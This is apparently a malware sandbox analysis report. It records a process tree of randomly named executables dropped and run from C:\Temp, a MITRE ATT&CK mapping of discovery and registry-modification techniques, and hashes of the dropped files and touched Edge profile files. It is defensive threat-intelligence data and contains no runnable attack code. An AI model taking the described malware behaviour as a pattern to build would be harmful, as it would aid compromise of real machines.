  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6828,i,18157710109690553488,898078545858402552,262144 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:10
      4⤵
      PID:2896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5244,i,13298980500184143714,7126828192188122467,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6772 /prefetch:14
      4⤵
      PID:2204

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3552

C:\Temp\wqojgbztrljdbwto.sys
C:\Temp\wqojgbztrljdbwto.sys
1⤵
- Executes dropped EXE
PID:3016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2748

C:\Temp\trljdbwtom.sys
C:\Temp\trljdbwtom.sys
1⤵
- Executes dropped EXE
PID:3356

C:\Temp\nlgdywqolf.sys
C:\Temp\nlgdywqolf.sys
1⤵
- Executes dropped EXE
PID:1364

C:\Temp\ayvpnifayv.sys
C:\Temp\ayvpnifayv.sys
1⤵
- Executes dropped EXE
PID:244

C:\Temp\hfzxspkhfa.sys
C:\Temp\hfzxspkhfa.sys
1⤵
- Executes dropped EXE
PID:3500

C:\Temp\xspkhcausm.sys
C:\Temp\xspkhcausm.sys
1⤵
- Executes dropped EXE
PID:3084

C:\Temp\mkecxupmke.sys
C:\Temp\mkecxupmke.sys
1⤵
- Executes dropped EXE
PID:3532

C:\Temp\mjhbzwurmj.sys
C:\Temp\mjhbzwurmj.sys
1⤵
- Executes dropped EXE
PID:3328

C:\Temp\wrojgbztrl.sys
C:\Temp\wrojgbztrl.sys
1⤵
- Executes dropped EXE
PID:204

C:\Temp\geywtomgeb.sys
C:\Temp\geywtomgeb.sys
1⤵
- Executes dropped EXE
PID:2424

C:\Temp\gaytqlidby.sys
C:\Temp\gaytqlidby.sys
1⤵
- Executes dropped EXE
PID:4520

C:\Temp\xvtqlidayv.sys
C:\Temp\xvtqlidayv.sys
1⤵
PID:1944

C:\Temp\davpnlfdxv.sys
C:\Temp\davpnlfdxv.sys
1⤵
PID:5196

C:\Temp\spkicaxvsn.sys
C:\Temp\spkicaxvsn.sys
1⤵
PID:4132

C:\Temp\khfzxusmkf.sys
C:\Temp\khfzxusmkf.sys
1⤵
PID:2892

C:\Temp\rpkhczusmk.sys
C:\Temp\rpkhczusmk.sys
1⤵
PID:2544

C:\Temp\ebztromgec.sys
C:\Temp\ebztromgec.sys
1⤵
PID:4012

C:\Temp\mjebwuomge.sys
C:\Temp\mjebwuomge.sys
1⤵
PID:3300

C:\Temp\lgebztqolg.sys
C:\Temp\lgebztqolg.sys
1⤵
PID:4028

C:\Temp\olidyvqoig.sys
C:\Temp\olidyvqoig.sys
1⤵
PID:1588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ayvpnifayv.sys

Path C:\Temp\ayvpnifayv.sys
Size 293KB
SHA256 4223272ab202fb3b9f82f6d77421d86ab5e48e2c7e156fcd34db1ae6e45468bf
MD5 13a808a84095e6059ca6a2391b264554
SHA1 128c63d9f2577f8dee630a86f50ab039b0298ada
SHA512 3e820bbdccb6392f8754250e0067a890d702f3b3db4ff5a602a764f0008aca6b317ca750394ae7948f7638d021207f98cb9b0cab354e0657ea19fcf0b50b1fc1
SSDEEP 3072:atKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:aIJjiJcbI03GBc3ucY5DCSj
TLSH
T110545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bwtrljbywo.exe

Path C:\Temp\bwtrljbywo.exe
Size 376KB
SHA256 6277a729064963a1699d1f1de4bc9be3b6283a04c58a98f5feca1f6b89f568e8
MD5 54b67f273a04754b25cbb9081f620d97
SHA1 e098ed518aca78a27bcbc49538189d4e05bdea9e
SHA512 5aa4dffa34aef839679d2cd78f4a6149c8b3acde16a591504b075a5af195f9155f403f2213d48e2065620c0071d12ae00fd5e9a3d25ff515591e08b94f530409
SSDEEP 3072:QFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:QFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T18A847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bytqljdayw.exe

Path C:\Temp\bytqljdayw.exe
Size 376KB
SHA256 6267cb80320ccd8fe5d688689c117a0afb7f41c1386c140c6c49d60f604b410f
MD5 b4d26a3dbb939e15d7b6d01f5c52cf84
SHA1 94c8928bebf42c6afc255c9b03f8acf5742eeeed
SHA512 9332935c3a16edc26b4ac66ce52226b11995ea5f29484d3b81b9ab2f93872f27566ed9c3369074061182f599d33942f9cf1dc6cc6c66ec3b3c1c69b3cd7fcadd
SSDEEP 3072:lFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:lFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T143847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfzxspkhfa.sys

Path C:\Temp\hfzxspkhfa.sys
Size 293KB
SHA256 6cec41f64375939738d26fc8e97d61dbc9f138d79dd30c894cc26c88cbbb936f
MD5 4e9f1f0e2a24812fbddf3b4a81fc677a
SHA1 dc9f150b8bb6051a3f6a958d31059534babdef74
SHA512 bf5626115e81e154436836f3a2227a632ba8c42c1b672231e0aa4d7247b74fc39f0fd88167b0ad8f5266fc0509609a0e54d9ce5809b9ed69a705336cc4d8e9ce
SSDEEP 3072:ltKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:lIJjiJcbI03GBc3ucY5DCSj
TLSH
T1C2545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bwtrljbywo.exe

Path C:\Temp\i_bwtrljbywo.exe
Size 376KB
SHA256 82dee566de2f6af44a6986fb071585990f89f27f2db910531df68f557d34afa7
MD5 4c6c86c7db26bacafedd23ad4fe51d5c
SHA1 e57f2c39b51acaf14947c712e65327b03f3c1556
SHA512 9606bd508c42ee0ffc6a06674829da717df47ef33e471c58d2145a21fdac8df9a33fdfbf0dc5c25b1f158530ea45f5577bab84b59a45fba9a9e19d2a3f363ec9
SSDEEP 3072:+FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:+FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1FE847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_bytqljdayw.exe

Path C:\Temp\i_bytqljdayw.exe
Size 376KB
SHA256 90e2e763aa81e7c202c8b0c320c3f9a0b3eb17b6706ecdfeb9abbdc729be0edc
MD5 c6801d3da9b7602e3cab758ab9a016c1
SHA1 d58177b4a815c5b4e4e8b4d97191c246bf4fd6cd
SHA512 23eace13755efe030e81ed9e251bed8931a73686950473aace4ccca279df26f7a1f55bb593afa89c6d45198ea2b1ff474bdf97dfacd41df9e58de27a68f0634e
SSDEEP 3072:oFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:oFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T134847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_idbytqlidb.exe

Path C:\Temp\i_idbytqlidb.exe
Size 376KB
SHA256 d7ba6299aecefc61b232a2d234b3e252ce4eae8533f375af063ef208618a70ce
MD5 947e4693b5797b5d3cd052536f14f6bc
SHA1 3c0e90e859bc5eda09dc40b0d58f75005efe5de2
SHA512 205d089c82d19c58af629f36ec24997bb7b83186585ed2b9dac2d9e2b026126ac5adb710333edd407f226d1f616130500b861b1876e2cd8c1b5ca498536e790c
SSDEEP 3072:NFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:NFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T195847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xusqkhfdxu.exe

Path C:\Temp\i_xusqkhfdxu.exe
Size 376KB
SHA256 0263fa558ec734c760225ff7a1c88cca33865cc002bfe16014306afed02d63c4
MD5 530c74bdbe9975b97aa09154577f8229
SHA1 b5e3c97cecd2772bbf6d26c2ec360b58da337e92
SHA512 9948ebb4059ba24d59435c202c9f5e4f56cce8149246b63997887877ba2bdc549afcdeaaf2122e8c1b5dd75316ca684e74072738c5dd4590a23d1681ac7143ab
SSDEEP 3072:dFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:dFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T153847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_xvpnifaysq.exe

Path C:\Temp\i_xvpnifaysq.exe
Size 376KB
SHA256 35c9f0c7937ec4d5f2acb08c8febb303f7aca7114b986c07e4a54caa3aeee19e
MD5 a937d5a28e6e2dc9894b84791ebb88f0
SHA1 07a2f42567ae90a0e3dab43f29ce1ddf3651333b
SHA512 87346f56cde81ff67fb7d5500e27e6297172f89f2563f4389a2f294e6cfed7ad695e3efcf9b403994ac0b0d7844fa8a32abc15ec2a3d9678061cb135750c7e12
SSDEEP 3072:vFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:vFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12F847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idbytqlidb.exe

Path C:\Temp\idbytqlidb.exe
Size 376KB
SHA256 3252c895e76c64251822cb4f4fad02d737f44f8f6142164afea1609f98d9f07c
MD5 187f380060b871ae1d96d32defcc2599
SHA1 9f09090876a187a1aa008c73e32d1557f124d300
SHA512 5164d2877b15ee148678b9ee1124eb469e65df2dc76d59bb6fabd385fe7afcd6f31af1be27ccfebb77b16479929157095f93469fe3b5cd4c352cba5f5989d8cd
SSDEEP 3072:vFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:vFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T101847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kecxusnhfc.exe

Path C:\Temp\kecxusnhfc.exe
Size 376KB
SHA256 de515749e1e8177df972b05771d443317d8270f606b36acff3aa92f791e6e52a
MD5 d7d6cbc707caab7de35dbe3124cf44b3
SHA1 baaea4de7e2ef7b800de610bbf752fa97c76a43b
SHA512 37f79abf83b9418ca071a0da83c0697533ebb42a47a063887e26352debdfa5e8081b2bbd77a0bf1c4fc08b400a2f3d65125f446800e5c72d2de67b82d507606a
SSDEEP 3072:VFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:VFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T14B847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlgdywqolf.sys

Path C:\Temp\nlgdywqolf.sys
Size 293KB
SHA256 4b60e2ac19763f66a6d0ac7ef58535f0630149524a7ef184ed415aae73fc81a6
MD5 eec71bd3650bdd54d1507f75fb3d9ccb
SHA1 3335b7537c8f8362fc5c153987583cd1b9f973b4
SHA512 bb10be2b1b78ddcee66772b605cb2dcabe4820a3e01069ec0746ba1d33af2fe81456740096b7848112ee4d21055d3ec683505308645c3fe85721fdf953b2c4d6
SSDEEP 3072:ntKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:nIJjiJcbI03GBc3ucY5DCSj
TLSH
T1AD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trljdbwtom.sys

Path C:\Temp\trljdbwtom.sys
Size 293KB
SHA256 102e901f5d1f80e8d55e7071f62f2f8154c7fe18f018a11e2f238aa05f41c73f
MD5 1d038f768113d04d467a8dbe2f56142d
SHA1 51919e5a36bad82fc4ab598fc74471535478dd03
SHA512 b3508580a8f2c92d0ddd891696ed2541534b91dcb5528c7af535c06ba633a7aa7ea339f8124fcc6707e80ae8b12ee2cacc243b5f59e64e2ab2d3d56762da9926
SSDEEP 3072:wtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:wIJjiJcbI03GBc3ucY5DCSj
TLSH
T11D545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wqojgbztrljdbwto.exe

Path C:\Temp\wqojgbztrljdbwto.exe
Size 376KB
SHA256 8559fcb96954a197a29f826917c3f9e78a83e341bec8bd103a376de68bb28a68
MD5 37e487aa4e168bc831c8c342b34868ff
SHA1 0705187d84f795cb902361200fc537c689754123
SHA512 7aa7735e5d16de6523fdfd3e555d06915a0068e57fa49619eaa0ccde8ee37259044e76c38349c3f509eab98769e9844f254f2282610229bd5eda30e530069c5f
SSDEEP 3072:xFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:xFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1A9847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wqojgbztrljdbwto.sys

Path C:\Temp\wqojgbztrljdbwto.sys
Size 293KB
SHA256 b3b1d6b47bb55a26550d3c49f1c16fceb3601c212f5e09a1771761549b4dbc9b
MD5 b9f7fae4291d8a13531f38b720254b9a
SHA1 8d4bd8ffa27bd8719d44f56bc398a2c0132c1c4b
SHA512 323f93a1424b3a7beabb15857510a42e5feabf22a35cee10c4002848892d64e8ba3b56591cb6d9ccc6c344aa1f35c1843a15cf1559359043a22043f7af9abae0
SSDEEP 3072:atKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:aIJjiJcbI03GBc3ucY5DCSj
TLSH
T176545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xspkhcausm.sys

Path C:\Temp\xspkhcausm.sys
Size 293KB
SHA256 0f93020742c5dcbd4c3e25d19ea42259e2cafae622de32abc30cc6c0fe52aad0
MD5 ed5036213712c749d070d5a44379c19c
SHA1 e82439eaa8ac8e573d94a2ffaa54ac982a1e0602
SHA512 9a4638ef169036e164f12c73946f6c13d402d065d9fd5125361a0f71616a5f4a1d35d9611e59aadfb63f54888cb431cdcf90e400959e8d657256528017ea678c
SSDEEP 3072:qtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:qIJjiJcbI03GBc3ucY5DCSj
TLSH
T1A8545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xusqkhfdxu.exe

Path C:\Temp\xusqkhfdxu.exe
Size 376KB
SHA256 2775f11020f84710c45cee7e0d5cb2592499f45aaace65b65e43d65f5fc191fa
MD5 7ee33f6e24bee8e98f2f55468402249a
SHA1 8bcaaca8966de3899279ba7c8e806c6d6be9a0d9
SHA512 05cd655979d8ed8ca4052ba886f21227b9f900926104de66904db3bde1129b0030b3d69db0a8b104463dd4cc02630b6bce59f345a88a2032d9d43ea1b3c05a66
SSDEEP 3072:LFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:LFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1E3847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xvpnifaysq.exe

Path C:\Temp\xvpnifaysq.exe
Size 376KB
SHA256 25c5c665f46ed6f4a79bc8b9d107b3167e42bd4aee0585a2924b7132ce6bd322
MD5 e41d39c507d24c0f10776a0935ea1f00
SHA1 1c0e5c702874974547e9fdc7bf6869f6372cda99
SHA512 82d14fbe13ff4bc2c668a13159c4ebc0364dadc11980d81389f0968a1a9b0882abe01a45441722872f5edff033f5a86e1bee6bca8eb18b6700a87d301f9a31a8
SSDEEP 3072:aFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:aFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T15A847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7add6572365d752d8c3a090b9a256c43e3c5ff716f29ed7aa3c53dc57a08ba60
MD5 0da70f521ac5aee3489abf6e3eb4e375
SHA1 0f3cd9919820116ecc86bab93f4712c08485dc56
SHA512 a9cddd04863b2ac842fe4f91265c19a41d8b7442be8f07a91747705beca52c1e1d563e3c46cf68e1b73606695624f13ca69a8246653c2535d0684ced42c37d33
TLSH
T182D09BD479045D78C4C1353231A673155A616435DA5C46481051F3AACD65141667F5AD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ffe13798c5910685872d371e84c30baa9eefaaa5db1419603eb30d473d7b2e37
MD5 03c111f9396889c77f6d9883c5df333f
SHA1 be65300843096dba92c5695fd35e2dffcbb7eb0a
SHA512 a77dfe3b48fcb72648f1adfafbf0d0fcd4d88690dcf41609a03e1d6b645d1336b6e322931b2205673283b920d20ed0225c6aa320a83a2d3a410771f18d120c19
TLSH
T1B1D09BD079145D78C4C1353231A773155A516435865C46481151F3BACD65141667E59D
MD5 SHA1 SHA512 TLSH

Submit Download

7b4c8de0-83f5-471e-ab64-ffa3480f1edd.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7b4c8de0-83f5-471e-ab64-ffa3480f1edd.tmp
Size 11KB
SHA256 5ab2b443dd164c59040412118ebd02d10aee1444a1ecc97e06f2d66399393249
MD5 f5067c41365a72ce9302c7238d7b8667
SHA1 c562cd1b1f8b5af65a98378b5aa7b01b5e356cf9
SHA512 de0d2e622ff15592f07ad21322a45007f7a30f9965b275880daa6f66397a9cd0e77d6ff932af6f9bc32de1220548d44c9035ce5ca7cc3c19f8e3dd7829384542
SSDEEP 192:sxR3cRACO/fIsvyHaZzCqzoA8p9T/g6+WNCpB/YlqiwGzIgDrJ:sxRsJO/fIsvyHMzCnx/5y/ovJ
TLSH
T14342A656A928997B5CCBE21DBA55BF93D6F95032A1951F48B7FC870C00E76CE220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 b81ca566d2529da2de5cc7e3f968773b8dba80c1cf5ce5bcad02c53fdf70e8bf
MD5 352f97234366d0c8f7d46998f08054b6
SHA1 e89066d4b7efefd260eef0694e1a4ed6f4e4d086
SHA512 f31e93b270399c184b4fd8fb36680c18dff09cb185b38f2b70f19f6e913c3a9c87c528ca57e215b2af9eeefd822d80f6d305ebaddc993f33e6651fefa4d07c39
TLSH
T10D615F7B13A325C2DB6188B270D0149A32F488DA0B03EA365211FE764C46F149DFDDB3
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59abd6.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59abd6.TMP
Size 3KB
SHA256 75bfa66eeb3fdbe0b0c5cbe3ea32dc99e7a8c3535714424589419a4f83b49dfd
MD5 21f04ba6dcbce0deb7dc6a634c501c43
SHA1 2ddb67d884e7dd8acbc06d0563421fdbd6bfa763
SHA512 937c013824fdd1c4c14cda5fb52a4112f194a9b792c86175f16c1404f050fed8e7b9d58f05c1fe97a2c7cc224f27525457e50e6d2916490e630916fefe20dfba
TLSH
T12E614F7A13A325C2E76588B270D0149A32F489DE4B03EA365215FE768C46F14ADFDDB3
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 78e740d09c4429776a5419df2b3d409cde231831ffe0eba29e6560cd2307072d
MD5 160078a789d8dbc3a07054714e5ca719
SHA1 2ae51542c8775325a8792f4de8a9f445720d041c
SHA512 93caa03fada1b021915518db3130f27b68d264927bd2826057901eb86a1850b8aa7eea234629bffd22d81bdcf1796e6ab5eab9159d9c9d3e05d234bec89b26e3
TLSH
T192519CF3C6E8866E890156F0AB147E2BCE1D0924832C3D5AC9E4EF2B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 b518f48f0a0453fa77a369f8627aa1b3a9f67eb079e9aabe36e0180c7b0a7355
MD5 a220e93352f27d8c6cf1c77875c8fc7a
SHA1 e86714171bf40d3400a4ca775e572cf53816031f
SHA512 8c6539be62c1b3cae72db351957fc9196ec5d7d6e2ea8a7120f3abaa80856aff9e6019ea7137358a54b8e03f64971d03b92489a96a7a8f295003f4bb22122944
SSDEEP 192:sxR6cRACO/fIsWyiaZzCqzoA8p9T/g6+WNCpB/YlqiwGzIgtJ:sxRrJO/fIsWyiMzCnx/5y/+v3
TLSH
T12332C656A928993B5CCBD21DFA55BF93D6F95032A1D51F48B7FC860C00E76DE220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 8a297ffd44a1d0bdaf0aa684339967801248f8d2748aa81f384f7fdf24340642
MD5 f27ac06bfd2b79f9955f22691388c2cd
SHA1 111392a7ba11ffbfbfaa38959eabacad062a2ed0
SHA512 9acc5f7f030c5f22d301bc24a120dfa6389433ecef08c7e0cbb9dfd581b1c5e5a12ba55fb8ab8082e751be506d32c429f8e810a75d0d6f836504590b39434d34
SSDEEP 192:sxR3cRACO/fIsvyiaZzCqzoA8p9T/g6+WNCpB/YlqiwGzIgDpJ:sxRsJO/fIsvyiMzCnx/5y/+v/
TLSH
T1BC42B556A928993B5CCBD21DFA55BF93D6F95032A1D51F48B7FC8A0C04E76DE220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 5deed71510e692d7ac360a5027666ba4cd5ff26fb21560fe54fb831ebe697fb9
MD5 616381170fe55ae8df68c9e42d485507
SHA1 7984020e6b2353755174157a55a51707e225353a
SHA512 a95a188dbbd51b36d2d627b7637102f7969b9ac47e9ca4de704077fc0e46e918ea3bba9c6bbb50c5c5b1946613e6dd2ce88d32c782595bca2bceb4c6f3440039
SSDEEP 768:dofA3j7pLuL7AxWgg+fJJ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSKN131sroai:dofA3VE7AxWgg+fJJu1jalKNl13ai
TLSH
T132D2DA7B640CCB7E4F804ADDEC19BA9F6DA802CB9698C94047FD951C03C6BEB511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fd88dc08-92eb-4f55-8474-25005fd73f5c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\fd88dc08-92eb-4f55-8474-25005fd73f5c.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

